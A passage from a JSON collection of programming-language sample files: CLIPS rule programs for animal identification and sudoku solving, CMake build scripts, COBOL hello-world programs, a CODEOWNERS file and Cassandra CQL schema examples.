   spikes is yes) \n         (then type.animal is sea.anemone))\n   (rule (if family is stationary and\n          spikes is no) \n         (then type.animal is coral.sponge))\n   (question (variable spikes)\n             (query spikes.query))\n   (rule (if family is multicelled and\n          spiral.shell is yes) \n         (then type.animal is snail))\n   (rule (if family is multicelled and\n          spiral.shell is no) \n         (then genus is noshell))\n   (question (variable spiral.shell)\n             (query spiral.shell.query))\n   (rule (if genus is thumb and\n          prehensile.tail is yes) \n         (then type.animal is monkey))\n   (rule (if genus is thumb and\n          prehensile.tail is no) \n         (then species is notail))\n   (question (variable prehensile.tail)\n             (query prehensile.tail.query))\n   (rule (if genus is nothumb and\n          over.400 is yes) \n         (then species is 400))\n   (rule (if genus is nothumb and\n          over.400 is no) \n         (then species is under400))\n   (question (variable over.400)\n             (query over.400.query))\n   (rule (if genus is twotoes and\n          horns is yes) \n         (then species is horns))\n   (rule (if genus is twotoes and\n          horns is no) \n         (then species is nohorns))\n   (question (variable horns)\n             (query horns.query))\n   (rule (if genus is onetoe and\n          plating is yes) \n         (then type.animal is rhinoceros))\n   (rule (if genus is onetoe and\n          plating is no) \n         (then type.animal is horse.zebra))\n   (question (variable plating)\n             (query plating.query))\n   (rule (if genus is water and\n          hunted is yes) \n         (then type.animal is whale))\n   (rule (if genus is water and\n          hunted is no) \n         (then type.animal is dolphin.porpoise))\n   (question (variable hunted)\n             (query hunted.query))\n   (rule (if genus is dry and\n          front.teeth is yes) \n         (then species is teeth))\n   (rule (if genus is dry and\n          front.teeth is no) \n         (then species is noteeth))\n   (question (variable front.teeth)\n             (query front.teeth.query))\n   (rule (if genus is noshell and\n          bivalve is yes) \n         (then type.animal is clam.oyster))\n   (rule (if genus is noshell and\n          bivalve is no) \n         (then type.animal is squid.octopus))\n   (question (variable bivalve)\n             (query bivalve.query))\n   (rule (if species is notail and\n          nearly.hairless is yes) \n         (then type.animal is man))\n   (rule (if species is notail and\n          nearly.hairless is no) \n         (then subspecies is hair))\n   (question (variable nearly.hairless)\n             (query nearly.hairless.query))\n   (rule (if species is 400 and\n          land.based is yes) \n         (then type.animal is bear.tiger.lion))\n   (rule (if species is 400 and\n          land.based is no) \n         (then type.animal is walrus))\n   (question (variable land.based)\n             (query land.based.query))\n   (rule (if species is under400 and\n          thintail is yes) \n         (then type.animal is cat))\n   (rule (if species is under400 and\n          thintail is no) \n         (then type.animal is coyote.wolf.fox.dog))\n   (question (variable thintail)\n             (query thintail.query))\n   (rule (if species is nohorns and\n          lives.in.desert is yes) \n         (then type.animal is camel))\n   (rule (if species is nohorns and\n          lives.in.desert is no and\n          semi.aquatic is no) \n         (then type.animal is giraffe))\n   (rule (if species is nohorns and\n          lives.in.desert is no and\n          semi.aquatic is yes) \n         (then type.animal is hippopotamus))\n   (question (variable lives.in.desert)\n             (query lives.in.desert.query))\n   (question (variable semi.aquatic)\n             (query semi.aquatic.query))\n   (rule (if species is teeth and\n          large.ears is yes) \n         (then type.animal is rabbit))\n   (rule (if species is teeth and\n          large.ears is no)\n         (then type.animal is rat.mouse.squirrel.beaver.porcupine))\n   (question (variable large.ears)\n             (query large.ears.query))\n   (rule (if species is noteeth and\n          pouch is yes) \n         (then type.animal is kangaroo.koala.bear))\n   (rule (if species is noteeth and\n          pouch is no) \n         (then type.animal is mole.shrew.elephant))\n   (question (variable pouch)\n             (query pouch.query))\n   (rule (if subspecies is hair and\n          long.powerful.arms is yes) \n         (then type.animal is orangutan.gorilla.chimpanzee))\n   (rule (if subspecies is hair and\n          long.powerful.arms is no) \n         (then type.animal is baboon))\n   (question (variable long.powerful.arms)\n             (query long.powerful.arms.query))\n   (rule (if species is horns and\n          fleece is yes) \n         (then type.animal is sheep.goat))\n   (rule (if species is horns and\n          fleece is no) \n         (then subsubspecies is nofleece))\n   (question (variable fleece)\n             (query fleece.query))\n   (rule (if subsubspecies is nofleece and\n          domesticated is yes) \n         (then type.animal is cow))\n   (rule (if subsubspecies is nofleece and\n          domesticated is no) \n         (then type.animal is deer.moose.antelope))\n   (question (variable domesticated)\n             (query domesticated.query))\n   (answer (prefix \"I think your animal is a \") (variable type.animal) (postfix \".\")))\n"
  },
  {
    "path": "samples/CLIPS/sudoku.clp",
    "content": ";;; http://www.angusj.com/sudoku/hints\n;;; http://www.scanraid.com/BasicStrategies.htm\n;;; http://www.sudokuoftheday.com/pages/techniques-overview\n;;; http://www.sudokuonline.us/sudoku_solving_techniques\n;;; http://www.sadmansoftware.com/sudoku/techniques.htm\n;;; http://www.krazydad.com/blog/2005/09/29/an-index-of-sudoku-strategies/\n\n;;; #######################\n;;; DEFTEMPLATES & DEFFACTS\n;;; #######################\n\n(deftemplate possible\n   (slot row)\n   (slot column)\n   (slot value)\n   (slot group)\n   (slot id))\n   \n(deftemplate impossible\n   (slot id)\n   (slot value)\n   (slot priority)\n   (slot reason))\n   \n(deftemplate technique-employed\n   (slot reason)\n   (slot priority))\n\n(deftemplate technique\n   (slot name)\n   (slot priority))\n   \n(deffacts startup\n   (phase grid-values))\n\n(deftemplate size-value\n   (slot size)\n   (slot value))\n   \n(deffacts values\n   (size-value (size 1) (value 1))\n   (size-value (size 2) (value 2))\n   (size-value (size 2) (value 3))\n   (size-value (size 2) (value 4))\n   (size-value (size 3) (value 5))\n   (size-value (size 3) (value 6))\n   (size-value (size 3) (value 7))\n   (size-value (size 3) (value 8))\n   (size-value (size 3) (value 9))\n   (size-value (size 4) (value 10))\n   (size-value (size 4) (value 11))\n   (size-value (size 4) (value 12))\n   (size-value (size 4) (value 13))\n   (size-value (size 4) (value 14))\n   (size-value (size 4) (value 15))\n   (size-value (size 4) (value 16))\n   (size-value (size 5) (value 17))\n   (size-value (size 5) (value 18))\n   (size-value (size 5) (value 19))\n   (size-value (size 5) (value 20))\n   (size-value (size 5) (value 21))\n   (size-value (size 5) (value 22))\n   (size-value (size 5) (value 23))\n   (size-value (size 5) (value 24))\n   (size-value (size 5) (value 25)))\n   \n;;; ###########\n;;; SETUP RULES\n;;; ###########\n\n;;; ***********\n;;; stress-test\n;;; ***********\n\n(defrule stress-test\n   \n   (declare (salience 10))\n   \n   (phase match)\n   \n   (stress-test)\n   \n   (priority ?last)\n   \n   (not (priority ?p&:(> ?p ?last)))\n   \n   (technique (priority ?next&:(> ?next ?last)))\n   \n   (not (technique (priority ?p&:(> ?p ?last)&:(< ?p ?next))))\n   \n   =>\n   \n   (assert (priority ?next)))\n   \n;;; *****************\n;;; enable-techniques\n;;; *****************\n\n(defrule enable-techniques\n\n   (declare (salience 10))\n   \n   (phase match)\n   \n   (size ?)\n   \n   (not (possible (value any)))\n   \n   =>\n   \n   (assert (priority 1)))\n\n;;; **********\n;;; expand-any\n;;; **********\n\n(defrule expand-any\n\n   (declare (salience 10))\n\n   (phase expand-any)\n   \n   ?f <- (possible (row ?r) (column ?c) (value any) (group ?g) (id ?id))\n  \n   (not (possible (value any) (id ?id2&:(< ?id2 ?id))))\n   \n   (size ?s)\n   \n   (size-value (size ?as&:(<= ?as ?s)) (value ?v))\n   \n   (not (possible (row ?r) (column ?c) (value ?v)))\n  \n   (not (and (size-value (value ?v2&:(< ?v2 ?v)))\n               \n             (not (possible (row ?r) (column ?c) (value ?v2)))))\n   \n   =>\n   \n   (assert (possible (row ?r) (column ?c) (value ?v) (group ?g) (id ?id))))\n   \n;;; *****************\n;;; position-expanded\n;;; *****************\n\n(defrule position-expanded\n\n   (declare (salience 10))\n\n   (phase expand-any)\n   \n   ?f <- (possible (row ?r) (column ?c) (value any) (group ?g) (id ?id))\n     \n   (size ?s)\n   \n   (not (and (size-value (size ?as&:(<= ?as ?s)) (value ?v))\n   \n             (not (possible (row ?r) (column ?c) (value ?v)))))\n\n   =>\n   \n   (retract ?f))\n   \n;;; ###########\n;;; PHASE RULES\n;;; ###########\n\n;;; ***************\n;;; expand-any-done\n;;; ***************\n\n(defrule expand-any-done\n\n   (declare (salience 10))\n\n   ?f <- (phase expand-any)\n\n   (not (possible (value any)))\n   \n   =>\n   \n   (retract ?f)\n   \n   (assert (phase initial-output))\n   (assert (print-position 1 1)))\n   \n;;; ***********\n;;; begin-match\n;;; ***********\n\n(defrule begin-match\n\n   (declare (salience -20))\n   \n   ?f <- (phase initial-output)\n      \n   =>\n   \n   (retract ?f)\n   \n   (assert (phase match)))\n\n;;; *****************\n;;; begin-elimination\n;;; *****************\n\n(defrule begin-elimination\n\n   (declare (salience -20))\n   \n   ?f <- (phase match)\n   \n   (not (not (impossible)))\n   \n   =>\n   \n   (retract ?f)\n   \n   (assert (phase elimination)))\n\n;;; *************\n;;; next-priority\n;;; *************\n\n(defrule next-priority\n\n   (declare (salience -20))\n   \n   (phase match)\n   \n   (not (impossible))\n   \n   (priority ?last)\n   \n   (not (priority ?p&:(> ?p ?last)))\n   \n   (technique (priority ?next&:(> ?next ?last)))\n   \n   (not (technique (priority ?p&:(> ?p ?last)&:(< ?p ?next))))\n   \n   =>\n   \n   (assert (priority ?next)))\n\n;;; ************\n;;; begin-output\n;;; ************\n\n(defrule begin-output\n\n   (declare (salience -20))\n   \n   ?f <- (phase match)\n   \n   (not (impossible))\n   \n   (priority ?last)\n   \n   (not (priority ?p&:(> ?p ?last)))\n\n   (not (technique (priority ?next&:(> ?next ?last))))\n   \n   =>\n   \n   (retract ?f)\n   \n   (assert (phase final-output))\n   (assert (print-position 1 1)))\n\n   \n\n  \n    \n   \n   \n   \n   \n   \n   \n   \n   \n   \n"
  },
  {
    "path": "samples/CMake/filenames/CMakeLists.txt",
    "content": "cmake_minimum_required(VERSION 2.8)\n\nproject(Foo)\n\nset(CMAKE_SKIP_RPATH TRUE)\nset(CMAKE_INSTALL_PREFIX \"/usr/local\")\n\nadd_subdirectory(bar)\n\nadd_executable(foo foo.c)\ntarget_link_libraries(foo pthread)\ninstall(TARGETS foo DESTINATION bin)\n"
  },
  {
    "path": "samples/CMake/sample1.cmake",
    "content": "cmake_minimum_required(VERSION 2.6)\n\nenable_testing()\n\nset(CMAKE_BUILD_TYPE debug)\n\ninclude_directories(\"/usr/local/include\")\n\nfind_library(ssl_LIBRARY NAMES ssl PATHS \"/usr/local/lib\")\n\nadd_custom_command(OUTPUT \"ver.c\" \"ver.h\" COMMAND ./ver.sh)\n\nadd_executable(foo foo.c bar.c baz.c ver.c)\n\ntarget_link_libraries(foo ${ssl_LIBRARY})\n"
  },
  {
    "path": "samples/CMake/sample2.cmake",
    "content": "cmake_minimum_required(VERSION 2.8 FATAL_ERROR)\n \nproject(PCLVisualizer)\ntarget_link_libraries (PCLVisualizer ${PCL_LIBRARIES})\n\n#it seems it's needed only on OS X 10.9\nfind_package(GLEW REQUIRED)\nset(CMAKE_CXX_FLAGS \"${CMAKE_CXX_FLAGS} -I/usr/include -v\")\n\nfind_package(PCL 1.7 REQUIRED)\n \ninclude_directories(${PCL_INCLUDE_DIRS})\nlink_directories(${PCL_LIBRARY_DIRS})\nadd_definitions(${PCL_DEFINITIONS})\n \nset(PCL_BUILD_TYPE Release)\n \nfile(GLOB PCL_openni_viewer_SRC\n    \"src/*.h\"\n    \"src/*.cpp\"\n)\nadd_executable(PCLVisualizer ${PCL_openni_viewer_SRC})\n\n#add this line to solve probem in mac os x 10.9\ntarget_link_libraries(PCLVisualizer ${PCL_COMMON_LIBRARIES} ${PCL_IO_LIBRARIES} ${PCL_VISUALIZATION_LIBRARIES} ${PCL_FEATURES_LIBRARIES}) "
  },
  {
    "path": "samples/CMake/sample3.cmake",
    "content": "# Specifications for building user and development documentation.\n#\n# ====================================================================\n# Copyright (c) 2009 Ian Blumel.  All rights reserved.\n# \n# This software is licensed as described in the file LICENSE, which\n# you should have received as part of this distribution.  \n# ====================================================================\n\nCMAKE_MINIMUM_REQUIRED(VERSION 2.6)\n\nFIND_FILE( SPHINX sphinx-build.exe) \n\n# If we are windows call to the make.bat file, otherwise rely on the Makefile\n# to handle the processing.\nIF(WIN32)\n   SET(SPHINX_MAKE make.bat)\nELSE(WIN32)\n   SET(SPHINX_MAKE make)\nENDIF(WIN32)\n\nADD_CUSTOM_TARGET(\n   doc_usr\n   COMMAND ${SPHINX_MAKE} html\n   WORKING_DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR}/usr\n)\n\nADD_CUSTOM_TARGET(\n   doc_dev\n   COMMAND ${SPHINX_MAKE} html\n   WORKING_DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR}/dev\n)\n\n"
  },
  {
    "path": "samples/CMake/sample4.cmake",
    "content": "cmake_minimum_required (VERSION 2.6)\n\nset (CMAKE_RUNTIME_OUTPUT_DIRECTORY \"bin\")\n\nlist(APPEND CMAKE_MODULE_PATH ${CMAKE_SOURCE_DIR}/cmake/vala)\nfind_package(Vala REQUIRED)\ninclude(ValaPrecompile)\ninclude(ValaVersion)\nensure_vala_version(\"0.11.0\" MINIMUM)\n\nproject (template C)\n\nfind_package(PkgConfig)\n\npkg_check_modules(GOBJECT REQUIRED gobject-2.0)\nadd_definitions(${GOBJECT_CFLAGS} ${GOBJECT_CFLAGS_OTHER})\nlink_libraries(${GOBJECT_LIBRARIES})\nlink_directories(${GOBJECT_LIBRARY_DIRS})\n\n\nvala_precompile(VALA_C\n    src/template.vala\nPACKAGES\nOPTIONS\n    --thread\nCUSTOM_VAPIS\nGENERATE_VAPI\nGENERATE_HEADER\nDIRECTORY\n\tgen\n)\n\nadd_executable(\"template\" ${VALA_C})\n"
  },
  {
    "path": "samples/CMake/sample5.cmake",
    "content": "# - Check if the STDCALL function exists.\n#   This works for non-cdecl functions (kernel32 functions, for example)\n# CHECK_STDCALL_FUNCTION_EXISTS(FUNCTION FUNCTION_DUMMY_ARGS VARIABLE)\n# - macro which checks if the stdcall function exists\n#  FUNCTION_DECLARATION - the definition of the function ( e.g.: Sleep(500) )\n#  VARIABLE - variable to store the result\n#\n# The following variables may be set before calling this macro to\n# modify the way the check is run:\n#\n#  CMAKE_REQUIRED_FLAGS = string of compile command line flags\n#  CMAKE_REQUIRED_DEFINITIONS = list of macros to define (-DFOO=bar)\n#  CMAKE_REQUIRED_INCLUDES = list of include directories\n#  CMAKE_REQUIRED_LIBRARIES = list of libraries to link\n#  CMAKE_EXTRA_INCLUDE_FILES = list of extra includes to check in\n\nMACRO(CHECK_STDCALL_FUNCTION_EXISTS FUNCTION_DECLARATION VARIABLE)\n  IF(\"${VARIABLE}\" MATCHES \"^${VARIABLE}$\")\n    #get includes  \n    SET(CHECK_STDCALL_FUNCTION_PREMAIN)\n    FOREACH(def ${CMAKE_EXTRA_INCLUDE_FILES})\n      SET(CHECK_STDCALL_FUNCTION_PREMAIN \"${CHECK_STDCALL_FUNCTION_PREMAIN}#include \\\"${def}\\\"\\n\")\n    ENDFOREACH(def)\n    \n    #add some default includes\n    IF ( HAVE_WINDOWS_H )\n        SET(CHECK_STDCALL_FUNCTION_PREMAIN \"${CHECK_STDCALL_FUNCTION_PREMAIN}#include \\\"windows.h\\\"\\n\")\n    ENDIF ( HAVE_WINDOWS_H )\n    IF ( HAVE_UNISTD_H )\n        SET(CHECK_STDCALL_FUNCTION_PREMAIN \"${CHECK_STDCALL_FUNCTION_PREMAIN}#include \\\"unistd.h\\\"\\n\")\n    ENDIF ( HAVE_UNISTD_H )\n    IF ( HAVE_DIRECT_H )\n        SET(CHECK_STDCALL_FUNCTION_PREMAIN \"${CHECK_STDCALL_FUNCTION_PREMAIN}#include \\\"direct.h\\\"\\n\")\n    ENDIF ( HAVE_DIRECT_H )\n    IF ( HAVE_IO_H )\n        SET(CHECK_STDCALL_FUNCTION_PREMAIN \"${CHECK_STDCALL_FUNCTION_PREMAIN}#include \\\"io.h\\\"\\n\")\n    ENDIF ( HAVE_IO_H )\n    IF ( HAVE_SYS_TIMEB_H )\n        SET(CHECK_STDCALL_FUNCTION_PREMAIN \"${CHECK_STDCALL_FUNCTION_PREMAIN}#include \\\"sys/timeb.h\\\"\\n\")\n    ENDIF ( HAVE_SYS_TIMEB_H )\n    \n    STRING(REGEX REPLACE \"(\\\\(.*\\\\))\" \"\" CHECK_STDCALL_FUNCTION_EXISTS_FUNCTION ${FUNCTION_DECLARATION} )\n    \n    SET(MACRO_CHECK_STDCALL_FUNCTION_DEFINITIONS \"${CMAKE_REQUIRED_FLAGS}\")\n    MESSAGE(STATUS \"Looking for ${CHECK_STDCALL_FUNCTION_EXISTS_FUNCTION}\")\n    \n    IF(CMAKE_REQUIRED_LIBRARIES)\n      SET(CHECK_STDCALL_FUNCTION_EXISTS_ADD_LIBRARIES\n        \"-DLINK_LIBRARIES:STRING=${CMAKE_REQUIRED_LIBRARIES}\")\n    ELSE(CMAKE_REQUIRED_LIBRARIES)\n      SET(CHECK_STDCALL_FUNCTION_EXISTS_ADD_LIBRARIES)\n    ENDIF(CMAKE_REQUIRED_LIBRARIES)\n    \n    IF(CMAKE_REQUIRED_INCLUDES)\n      SET(CHECK_STDCALL_FUNCTION_EXISTS_ADD_INCLUDES\n        \"-DINCLUDE_DIRECTORIES:STRING=${CMAKE_REQUIRED_INCLUDES}\")\n    ELSE(CMAKE_REQUIRED_INCLUDES)\n      SET(CHECK_STDCALL_FUNCTION_EXISTS_ADD_INCLUDES)\n    ENDIF(CMAKE_REQUIRED_INCLUDES)\n    \n    SET(CHECK_STDCALL_FUNCTION_DECLARATION ${FUNCTION_DECLARATION})\n    CONFIGURE_FILE(\"${clucene-shared_SOURCE_DIR}/cmake/CheckStdCallFunctionExists.cpp.in\"\n      \"${CMAKE_BINARY_DIR}${CMAKE_FILES_DIRECTORY}/CMakeTmp/CheckStdCallFunctionExists.cpp\" IMMEDIATE @ONLY)\n    FILE(READ \"${CMAKE_BINARY_DIR}${CMAKE_FILES_DIRECTORY}/CMakeTmp/CheckStdCallFunctionExists.cpp\"\n      CHECK_STDCALL_FUNCTION_CONTENT)\n\n    TRY_COMPILE(${VARIABLE}\n      ${CMAKE_BINARY_DIR}\n      \"${CMAKE_BINARY_DIR}${CMAKE_FILES_DIRECTORY}/CMakeTmp/CheckStdCallFunctionExists.cpp\"\n      COMPILE_DEFINITIONS ${CMAKE_REQUIRED_DEFINITIONS}\n      CMAKE_FLAGS -DCOMPILE_DEFINITIONS:STRING=${MACRO_CHECK_STDCALL_FUNCTION_DEFINITIONS}\n      \"${CHECK_STDCALL_FUNCTION_EXISTS_ADD_LIBRARIES}\"\n      \"${CHECK_STDCALL_FUNCTION_EXISTS_ADD_INCLUDES}\"\n      OUTPUT_VARIABLE OUTPUT)\n    IF(${VARIABLE})\n      SET(${VARIABLE} 1 CACHE INTERNAL \"Have function ${FUNCTION_DECLARATION}\")\n      MESSAGE(STATUS \"Looking for ${FUNCTION_DECLARATION} - found\")\n      FILE(APPEND ${CMAKE_BINARY_DIR}${CMAKE_FILES_DIRECTORY}/CMakeOutput.log \n        \"Determining if the stdcall function ${FUNCTION_DECLARATION} exists passed with the following output:\\n\"\n        \"${OUTPUT}\\nCheckStdCallFunctionExists.cpp:\\n${CHECK_STDCALL_FUNCTION_CONTENT}\\n\\n\")\n    ELSE(${VARIABLE})\n      MESSAGE(STATUS \"Looking for ${FUNCTION_DECLARATION} - not found\")\n      SET(${VARIABLE} \"\" CACHE INTERNAL \"Have function ${FUNCTION_DECLARATION}\")\n      FILE(APPEND ${CMAKE_BINARY_DIR}${CMAKE_FILES_DIRECTORY}/CMakeError.log \n        \"Determining if the stdcall function ${FUNCTION_DECLARATION} exists failed with the following output:\\n\"\n        \"${OUTPUT}\\nCheckStdCallFunctionExists.cpp:\\n${CHECK_STDCALL_FUNCTION_CONTENT}\\n\\n\")\n    ENDIF(${VARIABLE})\n  ENDIF(\"${VARIABLE}\" MATCHES \"^${VARIABLE}$\")\nENDMACRO(CHECK_STDCALL_FUNCTION_EXISTS)\n"
  },
  {
    "path": "samples/CMake/uninstall.cmake.in",
    "content": "IF (NOT EXISTS \"@PROJECT_BINARY_DIR@/install_manifest.txt\")\n    MESSAGE (FATAL_ERROR \"Cannot find install manifest: \\\"@PROJECT_BINARY_DIR@/install_manifest.txt\\\"\")\nENDIF (NOT EXISTS \"@PROJECT_BINARY_DIR@/install_manifest.txt\")\n\nFILE (READ \"@PROJECT_BINARY_DIR@/install_manifest.txt\" files)\nSTRING (REGEX REPLACE \"\\n\" \";\" files \"${files}\")\nFOREACH (file ${files})\n    MESSAGE (STATUS \"Uninstalling \\\"$ENV{DESTDIR}${file}\\\"\")\n    IF (EXISTS \"$ENV{DESTDIR}${file}\")\n        EXEC_PROGRAM (\n            \"@CMAKE_COMMAND@\" ARGS \"-E remove \\\"$ENV{DESTDIR}${file}\\\"\"\n            OUTPUT_VARIABLE rm_out\n            RETURN_VALUE rm_retval\n            )\n        IF (NOT \"${rm_retval}\" STREQUAL 0)\n            MESSAGE (FATAL_ERROR \"Problem when removing \\\"$ENV{DESTDIR}${file}\\\"\")\n        ENDIF (NOT \"${rm_retval}\" STREQUAL 0)\n    ELSE (EXISTS \"$ENV{DESTDIR}${file}\")\n        MESSAGE (STATUS \"File \\\"$ENV{DESTDIR}${file}\\\" does not exist.\")\n    ENDIF (EXISTS \"$ENV{DESTDIR}${file}\")\nENDFOREACH (file)\n\n"
  },
  {
    "path": "samples/COBOL/hello_world.cbl",
    "content": "        program-id. hello.\n        procedure division.\n        display \"Hello, World!\".\n        stop run.\n\n"
  },
  {
    "path": "samples/COBOL/hello_world.ccp",
    "content": "      IDENTIFICATION DIVISION.\n      PROGRAM-ID. hello.\n      PROCEDURE DIVISION.\n      DISPLAY \"Hello World, yet again.\".\n      STOP RUN.\n\n"
  },
  {
    "path": "samples/COBOL/hello_world.cob",
    "content": "      IDENTIFICATION DIVISION.\n      PROGRAM-ID. hello.\n      PROCEDURE DIVISION.\n      DISPLAY \"Hello World!\".\n      STOP RUN.\n\n"
  },
  {
    "path": "samples/COBOL/simple.cpy",
    "content": "01 COBOL-TEST-RECORD.\n  05 COBOL-TEST-USAGES.\n    10 COBOL-4-COMP PIC S9(4) COMP.\n    10 COBOL-8-COMP PIC S9(8) COMP.\n    10 COBOL-9-COMP PIC S9(9) COMP.\n    10 COBOL-4-COMP2 PIC S9(4) COMP-2.\n    10 COBOL-7-COMP2 PIC 9(7) COMP-2.\n"
  },
  {
    "path": "samples/CODEOWNERS/filenames/CODEOWNERS",
    "content": "# Lines starting with '#' are comments.\n# Each line is a file pattern followed by one or more owners.\n\n# More details are here: https://help.github.com/articles/about-codeowners/\n\n# The '*' pattern is global owners.\n\n# Order is important. The last matching pattern has the most precedence.\n# The folders are ordered as follows:\n\n# In each subsection folders are ordered first by depth, then alphabetically.\n# This should make it easy to add new rules without breaking existing ones.\n\n# Global rule:\n*           @dotnet/docs\n\n# C# samples:\n/csharp/**  @BillWagner\n\n# ML.NET samples:\n/machine-learning/**  @luisquintanilla\n\n# WPF folders:\n/wpf/**   @adegeo\n\n# Windows forms areas:\n/windowsforms/** @adegeo @dotnet/dotnet-winforms\n\n\n#-------------------------------------------------------#\n# https://github.com/dotnet/samples/blob/master/LICENSE #\n#            CC Attribution 4.0 International           #\n#-------------------------------------------------------#\n"
  },
  {
    "path": "samples/CQL/alter_materialized_view.cql",
    "content": "ALTER MATERIALIZED VIEW cycling.cyclist_by_age\nWITH comment = 'A most excellent and useful view'\nAND bloom_filter_fp_chance = 0.02;\n\nALTER MATERIALIZED VIEW cycling.cyclist_by_age\nWITH compression = {\n    'sstable_compression' : 'DeflateCompressor',\n    'chunk_length_kb' : 64\n}\nAND compaction = {\n    'class' : 'SizeTieredCompactionStrategy',\n    'max_threshold' : 64\n};\n\nALTER MATERIALIZED VIEW cycling.cyclist_by_age\nWITH caching = {\n    'keys' : 'NONE',\n    'rows_per_partition' : '15'\n};\n"
  },
  {
    "path": "samples/CQL/alter_role.cql",
    "content": "ALTER ROLE sandy WITH PASSWORD = 'bestTeam';\n\nALTER ROLE sandy WITH SUPERUSER=true;\n\nALTER ROLE team_manager WITH LOGIN=true;\n"
  },
  {
    "path": "samples/CQL/alter_table.cql",
    "content": "ALTER TABLE cycling.cyclist_races\nADD manager UUID;\n\nALTER TABLE cycling.cyclist_races\nADD completed list<text>;\n\nALTER TABLE cycling.cyclist_races;\n\nDROP manager;\n\nALTER TABLE cycling.race_times RENAME race_date TO date;\n\nALTER TABLE food_cql_conversion.person WITH VERTEX LABEL \"person\";\n\nALTER TABLE food_cql_conversion.person_authored_book\nWITH EDGE LABEL \"authored\"\nFROM person(person_name, person_id)\nTO book(book_name, book_id);\n\nALTER TABLE food.person RENAME VERTEX LABEL TO \"personX\";\n\nALTER TABLE food.\"person_authored_book\" RENAME EDGE LABEL TO \"authoredX\";\n\nALTER TABLE food.person WITHOUT VERTEX LABEL \"personX\";\n\nALTER TABLE food.\"person_authored_book\" WITHOUT EDGE LABEL \"authoredX\";\n\nALTER TABLE cycling.cyclist_base\nWITH comment = 'basic cyclist information';\n\nALTER TABLE cycling.comments WITH caching = {\n    'keys' : 'NONE',\n    'rows_per_partition' : 10\n};\n\nALTER TABLE cycling.cyclist_base\nWITH speculative_retry = '95percentile';\n\nALTER TABLE cycling.cyclist_base\nWITH speculative_retry = '10ms';\n\nALTER TABLE cycling.comments WITH COMPACTION = {\n    'class' : 'SizeTieredCompactionStrategy',\n    'enabled' : 'false'\n};\n"
  },
  {
    "path": "samples/CQL/alter_type.cql",
    "content": "ALTER TYPE cycling.fullname\nADD middlename text;\n\nALTER TYPE cycling.fullname\nRENAME middlename TO middle\nAND lastname TO last\nAND firstname TO first;\n"
  },
  {
    "path": "samples/CQL/comments.cql",
    "content": "// @xx\n-- @xx\n/*\n    This is the first line of\n    of a comment that spans multiple\n    lines\n*/\nCREATE ROLE IF NOT EXISTS coach -- End of line comment\nWITH LOGIN = true\nAND PASSWORD = 'All4One2day!';\n\nCREATE ROLE IF NOT EXISTS sys_admin // End of line comment\nWITH LOGIN = true\nAND PASSWORD = 'changeme'\nAND SUPERUSER = true;\n\n/* @name some block */\n"
  },
  {
    "path": "samples/CQL/create_keyspace.cql",
    "content": "CREATE KEYSPACE IF NOT EXISTS cycling\nWITH REPLICATION = {\n    'class' : 'SimpleStrategy',\n    'replication_factor' : 1\n};\n\nCREATE KEYSPACE food_cql\nWITH REPLICATION = {\n    'class': 'SimpleStrategy',\n    'replication_factor': 1\n}\nAND graph_engine = 'Core';\n\nCREATE KEYSPACE cycling\nWITH REPLICATION = {\n    'class' : 'NetworkTopologyStrategy',\n    'dc1' : 1\n};\n\nCREATE KEYSPACE IF NOT EXISTS cycling\nWITH REPLICATION = {\n    'class' : 'NetworkTopologyStrategy',\n    'datacenter1': '3',\n    'datacenter2': '3'\n};\n\nCREATE KEYSPACE cycling\nWITH REPLICATION = {\n    'class' : 'NetworkTopologyStrategy',\n    'datacenter1' : 3\n}\nAND DURABLE_WRITES = false;\n"
  },
  {
    "path": "samples/CQL/videodb.cql",
    "content": "CREATE KEYSPACE videod\nWITH REPLICATION = {\n    'class' : 'SimpleStrategy',\n    'replication_factor' : 1\n};\n\nuse videodb;\n\n// Basic entity table\n// Object mapping ?\nCREATE TABLE users (\n    username                  varchar,\n    firstname                 varchar,\n    lastname                  varchar,\n    email                     varchar,\n    password                  varchar,\n    created_date              timestamp,\n    total_credits             int,\n    credit_change_date        timeuuid,\n\n    PRIMARY KEY (username)\n);\n\n// One-to-many entity table\nCREATE TABLE videos (\n    videoid            uuid,\n    videoname          varchar,\n    username           varchar,\n    description        varchar,\n    tags               list<varchar>,\n    upload_date        timestamp,\n\n    PRIMARY KEY (videoid)\n);\n\n// One-to-many from the user point of view\n// Also know as a lookup table\nCREATE TABLE username_video_index (\n    username           varchar,\n    videoid            uuid,\n    upload_date        timestamp,\n    videoname          varchar,\n\n    PRIMARY KEY (username, videoid)\n);\n\n// Counter table\nCREATE TABLE video_rating (\n    videoid               uuid,\n    rating_counter        counter,\n    rating_total          counter,\n\n    PRIMARY KEY (videoid)\n);\n\n// Creating index tables for tab keywords\nCREATE TABLE tag_index (\n    tag            varchar,\n    videoid        uuid,\n    timestamp      timestamp,\n\n    PRIMARY KEY (tag, videoid)\n);\n\n// Comments as a many-to-many\n// Looking from the video side to many users\nCREATE TABLE comments_by_video (\n    videoid           uuid,\n    username          varchar,\n    comment_ts        timestamp,\n    comment           varchar,\n\n    PRIMARY KEY (videoid, comment_ts, username)\n) WITH CLUSTERING ORDER BY (comment_ts DESC, username ASC);\n\n// looking from the user side to many videos\nCREATE TABLE comments_by_user (\n    username          varchar,\n    videoid           uuid,\n    comment_ts        timestamp,\n    comment           varchar,\n\n    PRIMARY KEY (username, comment_ts, videoid)\n) WITH CLUSTERING ORDER BY (comment_ts DESC, videoid ASC);\n\n// Time series wide row with reverse comparator\nCREATE TABLE video_event (\n    videoid                uuid,\n    username               varchar,\n    event                  varchar,\n    event_timestamp        timeuuid,\n    video_timestamp        bigint,\n\n    PRIMARY KEY ((videoid, username), event_timestamp, event)\n) WITH CLUSTERING ORDER BY (event_timestamp DESC, event ASC);\n"
  },
  {
    "path": "samples/CSON/base.cson",
